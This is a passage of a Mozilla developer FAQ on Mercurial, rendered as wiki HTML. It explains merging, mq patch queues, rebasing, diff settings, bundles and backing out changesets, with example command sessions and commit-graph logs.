+<p>Run <code>hg pull</code>, then <code>hg merge</code>. If there are any merge conflicts, hg will open a merge program to try to help you resolve them manually. (If you fail to make sense of the merge tool, that's OK.  Just close it; hg will detect that the conflicts weren't all resolved and spit out some <code>hg update -C</code> commands that you can use to undo and then retry the busted merge.)</p>
+<p>Even if there were no conflicts, you have to commit the merge: <code>hg commit -m "Merge bug 123456"</code>.</p>
+<pre>  <strong>YOU</strong> ---&gt; <span style="background-color: rgb(255, 255, 0);">o</span> 1fe7659c29a9 - Kaitlin Jones <span class="plain">&lt;kaitlin@example.net&gt;</span> - Merge bug 123456.
+           <span style="background-color: rgb(255, 255, 0);">|\</span>
+           o <span style="background-color: rgb(255, 255, 0);">|</span> 9123b7791b52 - Kaitlin Jones <span class="plain">&lt;kaitlin@example.net&gt;</span> - Bug 123456 - Trebled fromps (r=gavin)
+           | <span style="background-color: rgb(255, 255, 0);">|</span>
+<strong>TRUNK</strong> ---&gt; | o  306726089e22 - Robert Longson <span class="plain">&lt;longsonr@example.com&gt;</span> - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson <span class="plain">&lt;longsonr@example.com&gt;</span> - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan <span class="plain">&lt;robert@example.org&gt;</span> - Bug 421436. Remove hack that gives</pre>
+<p>Now you can <code>hg push</code> as normal.</p>
+<p>This leaves a merge commit in the log, which some people find annoying, so it's usually better to avoid this solution.</p>
+<p>If you decide to use this method, it is advantageous to enable the Mercurial <code>fetch</code> extension (by means of a <span style="background-color: #CCC;"><code>fetch =</code></span> line in the <span style="background-color: #CCC;"><code>[extensions]</code></span> section of your <code>&lt;repository&gt;/.hg/hgrc</code> or your <code>$HOME/.hgrc</code> file) so you can do the <code>pull + merge + commit</code> sequence in one step (assuming no merge conflicts) by using the <span style="background-color: #CCC;"><code>hg fetch</code></span> command.</p>
+<h4 id="Using_Mercurial_queues">Using Mercurial queues</h4>
+<p>A way to solve your problem without leaving a merge commit is to import your commit into <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MqExtension" style="">mq</a> control, pop it off the queue, update, and then commit it again before pushing:</p>
+<pre class="eval">% <strong>hg log -l 5</strong>
+415[tip]   d1accb6ee840   2008-04-30 09:57 -0700   vladimir
+  b=430873; fast path drawImage with a canvas as source
+414   3a3ecbb4873e   2008-04-30 09:55 -0700   vladimir
+  cvs sync
+% <strong>hg qimport -r 415</strong>
+<em>Turn the new commit you made into a MQ patch</em>
+% <strong>hg qtop</strong>
+415.diff
+% <strong>hg qpop</strong>
+Patch queue now empty
+<em>Pop the MQ patch off the stack. At this point, the tip of your tree is also in the remote repository</em>
+% <strong>hg pull -u</strong>
+<em>... various pull/update messages ...</em>
+% <strong>hg qpush</strong>
+applying 415.diff
+Now at: 415.diff
+<em>Fix up conficts as necessary; if you fixed up any, run hg qrefresh first</em>
+% <strong>hg incoming</strong>
+comparing with <a class="external" href="ssh://hg.mozilla.org/mozilla-central/" rel="freelink">ssh://hg.mozilla.org/mozilla-central/</a>
+searching for changes
+no changes found
+<em>Make sure	nobody pushed while you were merging. Otherwise, qpop, pull and qpush again</em>
+% <strong>hg qfinish 415.diff</strong>
+<em>Turn the MQ patch into a regular revision</em>
+% <strong>hg log -l 5</strong>
+<em>verify that the log looks good, with your commit on top</em>
+% <strong>hg push</strong>
+</pre>
+<p>If you already use mq to manage your patches, then just make sure you pull/update right before committing and pushing your patch. If you have problems with the above, it's ok to just do a simple merge as described previously.</p>
+<p>In this case, if there are merge conflicts, MQ will produce <code>.rej</code> files. Some people prefer this over being thrown into a merge program.</p>
+<h4 id="Using_hg_rebase">Using <code>hg rebase</code></h4>
+<p>(Requires Mercurial 1.1 or higher)</p>
+<p>This is the simplest and easiest way to deal with the problem. You can rebase your local changesets (including mq patches) on top of the tip using the <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/RebaseExtension" title="http://www.selenic.com/mercurial/wiki/index.cgi/RebaseExtension">rebase extension</a>. To do this, simply enable the extension by adding this to the following section of your <code>.hgrc</code>:</p>
+<pre class="eval">[extensions]
+hgext.rebase =
+</pre>
+<p>Now, type <code>hg pull --rebase <span style="font-family: sans-serif;">to pull and rebase your local changesets at the same time.</span></code> More details and options can be found at the <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/RebaseProject" title="http://www.selenic.com/mercurial/wiki/index.cgi/RebaseProject">Mercurial wiki</a>.</p>
+<p>If you have conflicting changes, you'll be thrown into your preferred merge tool.</p>
+<div class="note">
+  <strong>Note:</strong> As of Mercurial 1.1, rebasing (especially with mq patches) might lose rename data; this is a <a class="external" href="http://www.selenic.com/mercurial/bts/issue1423" title="http://www.selenic.com/mercurial/bts/issue1423">known bug</a> that has been fixed in Mercurial 1.3. </div>
+<div class="note">
+  <strong>Note:</strong> If you had done a normal <code>hg pull</code> without <code>--rebase</code> after your <code>hg commit</code>, you will have to first undo that by doing <code>hg rollback</code>. Only the very last action can be undone, so if you did anything else after the <code>hg pull</code>, you're out of luck.</div>
+<div class="note">
+  <strong>Note:</strong> If you have local changes, hg pull --rebase (just like hg merge) will refuse to work, so you'll have to revert your local changes first:</div>
+<pre class="note">hg diff &gt; old.diff
+hg revert .
+hg pull --rebase
+hg push
+patch -p 1 -i old.diff
+rm old.diff
+</pre>
+<h3 id="How_do_I_see_what_these_commands_will_do_before_I_do_them.3F" name="How_do_I_see_what_these_commands_will_do_before_I_do_them.3F"><span id="1224048115147S" style="display: none;"> </span>How do I see what these commands will do before I do them?</h3>
+<p>If you want to see what <code>hg commit</code> will commit, run <code>hg diff</code> first.</p>
+<p>If you want to see what <code>hg push</code> will push, run <code>hg outgoing</code> first.</p>
+<p>If you want to see what <code>hg pull</code> will pull, run <code>hg incoming</code> first.</p>
+<p>These pairs of commands all take similar arguments, for good reason. These are a good idea to use all the time when you're learning mercurial. And even once you're an expert, always doing outgoing before push is a good idea.</p>
+<h3 id="How_can_I_customize_the_format_of_the_patches_Mercurial_creates.3F" name="How_can_I_customize_the_format_of_the_patches_Mercurial_creates.3F">How can I customize the format of the patches Mercurial creates?</h3>
+<p>Edit your <code>~/.hgrc</code> file and add some lines like these:</p>
+<pre class="eval">[defaults]
+diff=-U 8 -p
+qdiff=-U 8
+#for Mercurial 1.1 use:
+#qdiff=-U 8 -p</pre>
+<pre class="eval">[diff]
+git=true
+</pre>
+<p>The <code>{{ mediawiki.external('defaults') }}</code> section affects the default output of the <code>hg diff</code> and <code>hg qdiff</code> commands. The options behave the same as they would on the command line. Try <code>hg help diff</code> for more info.</p>
+<p>The <code>{{ mediawiki.external('diff') }}</code> section affects all patches generated by Mercurial, even <code>hg export</code> and those generated for Mercurial's internal use. You need to be a lot more careful with this, but <code>git=true</code> is recommended. Without it, Mercurial cannot diff binary files and does not track the execute mode bit.  You may want to add <code>showfunc=true</code> here to get diffs that show the function being changed in each hunk, and you may want to add <code>unified=8</code> to make all diffs (including the internal ones <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MqExtension" style="">mq</a> uses) have 8 lines of context. Note that this may increase the risk of mq patches failing to apply!</p>
+<h3 id="How_do_I.C2.A0get_a_diff_-w.3F">How do I get a diff -w?</h3>
+<p>There is a <a class="external" href="http://www.selenic.com/mercurial/bts/issue127" title="http://www.selenic.com/mercurial/bts/issue127">known issue</a> where <code>hg diff -w</code> doesn't work.</p>
+<p>To get around this add the following to your <code>~/.hgrc</code> file, editing existing sections where applicable:</p>
+<pre>[extensions]
+hgext.extdiff =
+
+[extdiff]
+cmd.diffw = diff
+opts.diffw = -w -r -N -p -U 8
+</pre>
+<p>You can, of course, add your other favourite diff options to <code>opts.diffw</code>. Once you've added this, you will now have a new hg command, <code>hg diffw</code>.</p>
+<p>hg diffw -r -2 is the equivalent of hq qdiff -w for the topmost patch in the queue.</p>
+<h3 id="How_do_I_generate_a_bundle.3F">How do I generate a bundle?</h3>
+<p>Sometimes the tree will be under sheriff control, and they will specifically ask for a bundle.  If you don't have sufficient rights to push to mozilla-central, you might also generate bundles and attach them to bugs when you add checkin-needed to a bug after it has the necessary reviews and approval.</p>
+<p>Creating a bundle is quite simple.  Once you have your changes all done, commit them to your local repository.  You can also commit more than one changeset.  Once you have everything committed, instead of pushing you'll run <code>hg bundle</code>:</p>
+<pre>hg bundle outputfile.hg
+</pre>
+<p>By default, <code>hg bundle</code> will bundle everything that <code>hg outgoing</code> would display (and what you would push with <code>hg push</code>).  You can limit how far forward you want to bundle as well by specifying a revision with <code>-r</code>.  That will take all changes up until that revision.</p>
+<h2 id="Backing_out_changes" name="Backing_out_changes">Backing out changes</h2>
+<h3 id="Reverting_the_whole_tree_to_a_known-good_revision" name="Reverting_the_whole_tree_to_a_known-good_revision">Reverting the whole tree to a known-good revision</h3>
+<p>It's easy, like using a sledgehammer is easy. But this is usually overkill.</p>
+<pre class="eval">$ hg pull -u
+$ <strong>hg revert --all -r a0193d83c208</strong>       <em># use your known-good revision id here</em>
+$ hg commit                             <em># be kind, include the revision id in your commit message</em>
+$ hg push
+</pre>
+<p>There's a more precise alternative:</p>
+<h3 id="Backing_out_a_single_changeset" name="Backing_out_a_single_changeset">Backing out a single changeset</h3>
+<p>Suppose changeset <code>f8f4360bf155</code> broke something.</p>
+<pre class="eval">$ hg pull -u
+$ <strong>hg backout f8f4360bf155</strong>               <em># use the revision id of the bad change here</em>
+</pre>
+<p>This creates and commits a new changeset that reverts all the changes in that revision.</p>
+<p>If you see this message:</p>
+<pre class="eval">the backout changeset is a new head - do not forget to merge
+</pre>
+<p>That means you need to merge, because your history now looks like this:</p>
+<pre class="eval">  <strong>YOU</strong> ---&gt; o  9123b7791b52 - Kaitlin Jones &lt;<a class="link-mailto" href="mailto:kaitlin@example.net" rel="freelink">kaitlin@example.net</a>&gt; - Backed out changeset f8f4360bf155
+           |
+<strong>TRUNK</strong> ---&gt; | o  4e5bfb83643f - Simon Montagu &lt;<a class="link-mailto" href="mailto:smontagu@example.org" rel="freelink">smontagu@example.org</a>&gt; - imported patch 435856
+           | |
+           | o  6ee23de41631 - Phil Ringnalda &lt;<a class="link-mailto" href="mailto:philringnalda@example.com" rel="freelink">philringnalda@example.com</a>&gt; - Bug 438526 - Opening links w
+           | |
+           | o  22baa05d0e8a - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:robert@example.org" rel="freelink">robert@example.org</a>&gt; - Remove DOM testcase from exclusi
+           | |
+           | o  c1aec2094f7e - Robert Longson &lt;<a class="link-mailto" href="mailto:longsonr@example.com" rel="freelink">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           | |
+           | o  306726089e22 - Robert Longson &lt;<a class="link-mailto" href="mailto:longsonr@example.com" rel="freelink">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson &lt;<a class="link-mailto" href="mailto:longsonr@example.com" rel="freelink">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:robert@example.org" rel="freelink">robert@example.org</a>&gt; - Bug 421436. Remove hack that gives
+           |
+           ⋮ (the past)
+</pre>
+<p>Your backout changeset is based on an old revision. It doesn't contain more recent changes.</p>
+<p>Handle this like any other merge. If you've never done a merge before, get help. (It could be trivial or it could be a huge headache. There's plenty about merging elsewhere in this FAQ.)</p>
+<h3 id="Backing_out_multiple_changesets_that_are_not_at_tip" name="Backing_out_multiple_changesets_that_are_not_at_tip">Backing out multiple changesets that are not at tip</h3>
+<p>Your push of many changesets was bad, but you didn't find out until after a lot of subsequent activity. You want to back out the bad but keep the probably-good changesets from the subsequent activity.</p>
+<p><strong>NB</strong>: this is hard, error-prone, and will likely b0rk your local tree if you mess up. If in doubt, ask someone else to do it for you.</p>
+<p>What one would <em>really</em> like to do is</p>
+<pre class="eval">hg backout --from-rev $FIRST_BAD --to-rev $LAST_BAD
+</pre>
+<p>or, if local hg could access pushlog</p>
+<pre class="eval">hg backout --push $LAST_BAD
+</pre>
+<p>but, since hg can't do either (yet), we're stuck. What we'll do instead is travel back in hg-time to the last bad cset, revert all changes between last-bad and last-good, then merge that reversion to the current tip. Your tree might look like</p>
+<pre class="eval"> <strong>MERGE_TO</strong> ---&gt; @  c6abfc89215a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+               |
+               o  d6e8fddeb95b - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+               |
+               o  571d2664ead0 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+               |
+               o  3f7dfabab5e4 - Rich Dougherty &lt;<a class="link-mailto" href="mailto:rich@rd.gen.nz" rel="freelink">rich@rd.gen.nz</a>&gt;, Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+               |
+               o  d7d9cf4ab76a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 519897 - Supported indexed Ogg files. r=doublec
+               |
+               o    2a0e5811ece9 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Commit merge of backout of 66dcf25705f9. a=backout
+               |\
+               | o  958a30df30dd - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Backed out changeset 66dcf25705f9
+               | |
+               o |  6eead86e13dd - Michael Wu &lt;<a class="link-mailto" href="mailto:mwu@mozilla.com" rel="freelink">mwu@mozilla.com</a>&gt; - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+               | |
+               o |  69c6ce104f45 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 588216: Avoid race between IO-thread loop-&gt;PostTask() and main-thread loop-&gt;SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+               | |
+               o |  73899b33ca4b - Ben Turner &lt;<a class="link-mailto" href="mailto:bent.mozilla@gmail.com" rel="freelink">bent.mozilla@gmail.com</a>&gt; - Bug 576716 - 'Crash [@ TypedArrayTemplate&lt;int&gt;::init] or [@ TypedArrayTemplate&lt;int&gt;::create]'. Adding a test, r=vlad a=blocker
+               | |
+               o |  3bd62d459019 - Mark Banner &lt;<a class="link-mailto" href="mailto:bugzilla@standard8.plus.com" rel="freelink">bugzilla@standard8.plus.com</a>&gt; - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+               | |
+               o |  e1ca9091e5a6 - Benjamin Stover &lt;<a class="link-mailto" href="mailto:webapps@stechz.com" rel="freelink">webapps@stechz.com</a>&gt; - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+               | |
+               o |  bb200e1f52b4 - Jonas Sicking &lt;<a class="link-mailto" href="mailto:jonas@sicking.cc" rel="freelink">jonas@sicking.cc</a>&gt; - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+               | |
+               o |  992491c618de - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+               | |
+               o |  2f078585a0f6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+               | |
+               o |  5a9bd15fd7a8 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+               | |
+               o |  4bb2e0074aeb - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+               | |
+               o |  659a0864e035 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+               | |
+               o |  980f0170d982 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+               | |
+               o |  f09c1638d3c1 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+               | |
+               o |  b88472b0af90 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  a3e21759b570 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  ed89c9e297ab - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  4fc85e572c38 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  301875d4f9b6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+               | |
+ <strong>LAST_BAD</strong> ---&gt; o |  90ad165ae21b - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+               | |
+               o |  037a5d6b376a - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+               | |
+               o |  f1af117d4598 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+               | |
+               o |  5bf0b315a5aa - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+               | |
+               o |  353da995af6f - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+               | |
+               o |  7735c00eabe9 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+               | |
+               o |  7b17bcefb174 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+               | |
+               o |  c5945b6a97ed - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+               | |
+               o |  5452db293694 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast&lt;nsview*&gt;(this)|. r=roc
+               | |
+               o |  9407827b5166 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+               | |
+               o |  88a279b64473 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+               | |
+               o |  cebb111fbfc4 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+               | |
+               o |  7b3726c3a580 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+               | |
+<strong>FIRST_BAD</strong> ---&gt; o |  b3e968d831ec - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+               | |
+<strong>LAST_GOOD</strong> ---&gt; o |  55ef0e0529bc - Mounir Lamouri &lt;<a class="link-mailto" href="mailto:mounir.lamouri@gmail.com" rel="freelink">mounir.lamouri@gmail.com</a>&gt; - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+               | |
+&lt;/int&gt;&lt;/int&gt;</pre>
+<p>We want to erase all changes between <code>$FIRST_BAD</code> and <code>$LAST_BAD</code>, then merge to <code>$MERGE_TO</code></p>
+<pre class="eval">$ MERGE_TO="c6abfc89215a"
+$ LAST_BAD="90ad165ae21b"
+$ LAST_GOOD="55ef0e0529bc"
+$ hg up -r $LAST_BAD
+90 files updated, 0 files merged, 4 files removed, 0 files unresolved
+</pre>
+<p>We just traveled back in time to the last cset we want to nuke. Now we'll revert the changes between <code>$FIRST_BAD</code> and <code>$LAST_BAD</code>.</p>
+<pre class="eval">$ hg revert --all --no-backup -r $LAST_GOOD
+reverting accessible/src/msaa/nsTextAccessibleWrap.cpp
+reverting content/svg/content/src/SVGMotionSMILPathUtils.h
+reverting content/svg/content/src/nsSVGPathElement.cpp
+reverting gfx/src/nsIDeviceContext.h
+reverting gfx/src/thebes/nsThebesDeviceContext.cpp
+reverting gfx/src/thebes/nsThebesDeviceContext.h
+reverting gfx/thebes/gfxPlatform.cpp
+reverting gfx/thebes/gfxPlatform.h
+reverting layout/base/nsCSSFrameConstructor.cpp
+reverting layout/base/nsDocumentViewer.cpp
+reverting layout/base/nsIPresShell.h
+reverting layout/base/nsPresShell.cpp
+reverting layout/build/nsLayoutStatics.cpp
+reverting layout/generic/nsFrameFrame.cpp
+reverting layout/generic/nsObjectFrame.cpp
+reverting layout/generic/nsSimplePageSequence.cpp
+reverting layout/generic/nsTextFrameThebes.cpp
+reverting layout/inspector/src/inFlasher.cpp
+reverting layout/printing/nsPrintEngine.cpp
+reverting layout/svg/base/src/nsSVGForeignObjectFrame.cpp
+reverting layout/svg/base/src/nsSVGGlyphFrame.cpp
+reverting layout/svg/base/src/nsSVGImageFrame.cpp
+reverting layout/svg/base/src/nsSVGPathGeometryFrame.cpp
+reverting layout/svg/base/src/nsSVGUtils.cpp
+reverting layout/svg/base/src/nsSVGUtils.h
+reverting layout/xul/base/src/nsMenuPopupFrame.cpp
+reverting layout/xul/base/src/nsSplitterFrame.cpp
+reverting layout/xul/base/src/tree/src/nsTreeBodyFrame.cpp
+reverting view/public/nsIView.h
+reverting view/src/nsView.cpp
+reverting view/src/nsView.h
+reverting widget/public/nsIWidget.h
+reverting widget/src/beos/nsWindow.h
+reverting widget/src/cocoa/nsChildView.h
+reverting widget/src/cocoa/nsCocoaWindow.h
+reverting widget/src/windows/nsWindow.cpp
+reverting widget/src/xpwidgets/nsBaseWidget.cpp
+reverting widget/src/xpwidgets/nsBaseWidget.h
+$ hg commit -m 'Back out bug 585817 and bug 582057'
+created new head
+</pre>
+<p>After committing the reversion, we now have a new head that doesn't include the probably-good changes after <code>$LAST_BAD</code>.</p>
+<pre class="eval">@  1767c1fb9418 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Back out bug 585817 and bug 582057
+|
+| o  c6abfc89215a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+| |
+| o  d6e8fddeb95b - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+| |
+| o  571d2664ead0 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+| |
+| o  3f7dfabab5e4 - Rich Dougherty &lt;<a class="link-mailto" href="mailto:rich@rd.gen.nz" rel="freelink">rich@rd.gen.nz</a>&gt;, Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+| |
+| o  d7d9cf4ab76a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 519897 - Supported indexed Ogg files. r=doublec
+| |
+| o    2a0e5811ece9 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Commit merge of backout of 66dcf25705f9. a=backout
+| |\
+| | o  958a30df30dd - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Backed out changeset 66dcf25705f9
+| | |
+| o |  6eead86e13dd - Michael Wu &lt;<a class="link-mailto" href="mailto:mwu@mozilla.com" rel="freelink">mwu@mozilla.com</a>&gt; - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+| | |
+| o |  69c6ce104f45 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 588216: Avoid race between IO-thread loop-&gt;PostTask() and main-thread loop-&gt;SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+| | |
+| o |  73899b33ca4b - Ben Turner &lt;<a class="link-mailto" href="mailto:bent.mozilla@gmail.com" rel="freelink">bent.mozilla@gmail.com</a>&gt; - Bug 576716 - 'Crash [@ TypedArrayTemplate&lt;int&gt;::init] or [@ TypedArrayTemplate&lt;int&gt;::create]'. Adding a test, r=vlad a=blocker
+| | |
+| o |  3bd62d459019 - Mark Banner &lt;<a class="link-mailto" href="mailto:bugzilla@standard8.plus.com" rel="freelink">bugzilla@standard8.plus.com</a>&gt; - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+| | |
+| o |  e1ca9091e5a6 - Benjamin Stover &lt;<a class="link-mailto" href="mailto:webapps@stechz.com" rel="freelink">webapps@stechz.com</a>&gt; - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+| | |
